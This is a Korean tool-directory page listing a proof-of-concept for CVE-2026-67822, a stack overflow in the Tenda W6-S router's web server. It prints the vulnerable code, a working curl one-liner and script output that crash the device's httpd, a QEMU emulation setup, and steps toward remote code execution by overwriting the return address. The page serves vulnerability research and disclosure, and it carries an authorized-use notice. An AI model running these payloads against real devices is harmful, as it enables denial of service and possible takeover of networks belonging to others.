Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — Tenda W6-S /goform/wifiSSIDset의 CVE-2026-67822 스택 오버플로우에 대한 PoC: DoS 재현기, QEMU MIPS 심(shim), 및 개념적 RCE 페이로드 스켈레톤. | Kitploit
도구/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
Embedded Systems SecurityDynamic Analysis (Sandboxing)IoT SecurityVulnerability AnalysisExploitationHardware & IoT SecurityPayload DevelopmentFirmware AnalysisBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

Tenda W6-S /goform/wifiSSIDset의 CVE-2026-67822 스택 오버플로우에 대한 PoC: DoS 재현기, QEMU MIPS 심(shim), 및 개념적 RCE 페이로드 스켈레톤.

저장소 보기
13일 전아직 검토되지 않음

CVE-2026-67822 — Tenda W6-S wifiSSIDset 스택 버퍼 오버플로 (PoC)

Hunt-Benito 기사의 동반 PoC "GO Without Bounds: CVE-2026-67822 — Tenda W6-S의 wifiSSIDset 폼 핸들러의 스택 오버플로".

CVE-2026-67822 (CVSS 9.8 Critical, CWE-121)은 Tenda W6-S 무선 액세스 포인트의 /bin/httpd(GoAhead 기반 웹 서버)에 있는 /goform/wifiSSIDset 엔드포인트를 구현하는 C 함수 formwrlSSIDset()의 스택 기반 버퍼 오버플로입니다.

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

확인된 영향: 서비스 거부(httpd 크래시). 잠재적 영향: 원격 코드 실행(MIPS, 빌드에 스택 카나리/ASLR 없음).


저장소 내용


빠른 시작: DoS 재현

실제 W6-S(기본 LAN IP 192.168.5.10) 또는 에뮬레이션된 인스턴스를 대상으로:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

동일한 원라이너:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

요청이 반환된 후에는 전원을 껐다 켤 때까지 관리 인터페이스가 작동하지 않습니다.


하드웨어 없이 재현하기 (QEMU MIPS + fake_apmib.so)

/bin/httpd는 실제 Tenda 하드웨어(libapmib.so, cfmd 데몬, LAN MAC)를 기대합니다. fake_apmib.c 심은 에뮬레이션된 펌웨어 파일시스템 내부에서 httpd가 부팅되도록 이러한 요소 중 필요한 만큼만 위장합니다. 이 구성은 원래 연구자의 기법을 그대로 따릅니다.

1. MIPS 빅엔디안용 심 빌드

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. 호스트 네트워킹 — 브리지 + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. MIPS Malta 게스트 부팅

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. 게스트 내부: 인터페이스 구성 및 펌웨어 스테이징

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. Chroot 및 심으로 httpd 실행

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

이제 관리 인터페이스는 http://192.168.5.10(기본 로그인 admin / admin)에서 접근할 수 있으며, poc_dos.py는 실제 하드웨어에서와 정확히 동일하게 동작합니다.

Tenda 내부 apmib/cfmd 헬퍼의 정확한 프로토타입은 펌웨어 빌드마다 다릅니다. 대상의 실제 libapmib.so(objdump -T libapmib.so / IDA)와 대조하여 확인하고 필요에 따라 fake_apmib.c를 조정하세요.


개념적 RCE 경로

exploit_conceptual.py는 DoS를 넘어서는 익스플로잇 형태를 문서화합니다:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

이 스켈레톤은 $ra만 리다이렉트합니다. 하이재킹을 실제 코드 실행으로 전환하려면 NX가 아닌 스택용 셸코드 또는 특정 펌웨어 이미지 내 가젯으로 조립한 ROP 체인이 필요합니다 — 둘 다 빌드별로 다르며 의도적으로 연구자의 몫으로 남겨집니다. DoS는 확인되었으며, RCE는 CVSS 벡터(C:H/I:H)가 반영하는 그럴듯한 최악의 경우입니다.


법적 / 책임 있는 사용

이 코드는 승인된 보안 연구 전용입니다. 소유한 장치 또는 명시적인 서면 테스트 허가를 받은 장치에 대해서만 실행하세요. 통제권이 없는 네트워크나 하드웨어에는 사용하지 마세요.

참고 자료

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • 원본 PoC 분석글 (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • Tenda W6-S 제품 페이지: https://www.tendacn.com/material/show/103478
도구 다운로드
영향받는 제품Tenda W6-S 무선 액세스 포인트
영향받는 펌웨어v1.0.0.4(510)
CVSS v3.19.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121 (스택 기반 버퍼 오버플로)
취약한 엔드포인트POST /goform/wifiSSIDset (파라미터 GO, index)
발견자 / 크레딧trister
파일용도
poc_dos.py확인된 DoS 재현 스크립트. 과도하게 큰 GO 파라미터를 전송하여 결과적으로 발생하는 httpd 크래시를 감지합니다. 표준 라이브러리만 사용 — 의존성 없음.
exploit_conceptual.py개념적 RCE 스켈레톤. 제어 흐름 하이재킹 형태(저장된 $ra까지 패딩 후 덮어쓰기)와 $ra까지의 오프셋을 경험적으로 도출하는 cyclic-pattern 헬퍼를 보여줍니다. 실제 동작하는 셸코드나 가젯 주소는 포함하지 않습니다.
fake_apmib.cTenda 하드웨어/MIB 호출을 위장하여 /bin/httpd가 QEMU MIPS 게스트에서 부팅되도록 하는 LD_PRELOAD 심(shim) — 물리적 장치 없이 버그를 재현하는 데 사용된 기법입니다.
심이 가로채는 호출반환값이유
apmib_init()1하드웨어/MIB 초기화 건너뜀
ConnectCfm()1cfmd 데몬이 응답한 것처럼 가장
GetValue("lan.ip", …)192.168.5.10정적 관리 IP
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55가짜 MAC
connect()passthroughunix 소켓/TCP 연결이 정상 처리됨